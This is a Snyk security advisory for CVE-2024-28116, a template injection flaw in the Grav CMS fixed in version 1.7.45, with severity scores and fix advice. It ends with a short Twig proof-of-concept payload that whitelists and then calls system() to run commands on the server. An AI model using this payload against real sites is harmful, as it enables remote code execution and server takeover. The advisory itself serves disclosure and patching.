Code Injection Affecting getgrav/grav package, versions <1.7.45
Snyk CVSS
Attack Complexity
Low
Confidentiality
High
Integrity
High
Availability
High
Threat Intelligence
Exploit Maturity
Proof of concept
EPSS
0.04% (9th
percentile)
Do your applications use this vulnerable package?
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applications- Snyk ID SNYK-PHP-GETGRAVGRAV-6476900
- published 22 Mar 2024
- disclosed 21 Mar 2024
- credit akabe1
Introduced: 21 Mar 2024
CVE-2024-28116 Open this link in a new tabHow to fix?
Upgrade getgrav/grav to version 1.7.45 or higher.
Overview
getgrav/grav is a Modern, Crazy Fast, Ridiculously Easy and Amazingly Powerful Flat-File CMS.
Affected versions of this package are vulnerable to Code Injection due to improper handling of user input in the CMS's templating engine. An attacker can execute arbitrary code on the server by crafting malicious input that exploits the template injection vulnerability. This is only exploitable if the attacker has authenticated access with at least editor permissions.
PoC
{% set arr = {'1':'system', '2':'foo'} %}
{{ var_dump(grav.twig.twig_vars['config'].set('system.twig.safe_functions', arr)) }}
{{ system('id') }}